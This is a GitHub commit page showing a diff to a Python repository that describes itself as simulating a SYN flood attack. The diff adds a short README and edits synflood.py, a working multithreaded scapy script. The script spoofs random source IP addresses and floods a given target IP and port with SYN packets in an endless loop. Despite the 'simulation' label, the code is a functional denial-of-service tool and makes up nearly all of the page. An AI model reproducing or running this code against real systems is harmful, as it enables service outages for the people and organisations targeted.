Skip to content

Commit

Permalink
Readme file
Browse files Browse the repository at this point in the history
  • Loading branch information
arthurnn committed Jul 6, 2011
1 parent 506139d commit f912c0a
Show file tree
Hide file tree
Showing 2 changed files with 8 additions and 14 deletions.
3 changes: 3 additions & 0 deletions README
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
Python Script Simulating a SYN Flood attack.

Based on code from: James Penguin
19 changes: 5 additions & 14 deletions synflood.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,36 +2,28 @@
#########################################
#
# SYNflood - A multithreaded SYN Flooder
# By James Penguin
# author: arthurnn
#
# This script is a demonstration of a SYN/ACK 3 Way Handshake Attack
# as discussed in this article by Halla:
# http://informationleak.net/Hacking/Beginner/synack_3_way_handshake_exploit_explained_halla.htm
#
#########################################
import socket, random, sys, threading
from scapy.all import *

if len(sys.argv) != 4:
print "Usage: %s <Interface> <Target IP> <Port>" % sys.argv[0]
if len(sys.argv) != 3:
print "Usage: %s <Target IP> <Port>" % sys.argv[0]
sys.exit(1)

interface = sys.argv[1]
target = sys.argv[2]
port = int(sys.argv[3])
target = sys.argv[1]
port = int(sys.argv[2])

thread_limit = 200000
total = 0
#scapy.conf.iface = interface
conf.iface='en1';#network card XD

class sendSYN(threading.Thread):
global target, port
def __init__(self):
threading.Thread.__init__(self)
def run(self):
#s = socket.socket()
#s.connect((target,port))
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
i.dst = target
Expand All @@ -45,7 +37,6 @@ def run(self):

print "Flooding %s:%i with SYN packets." % (target, port)
while 1:
#if threading.activeCount() < thread_limit:
sendSYN().start()
total += 1
sys.stdout.write("\rTotal packets sent:\t\t\t%i" % total)

0 comments on commit f912c0a

Please sign in to comment.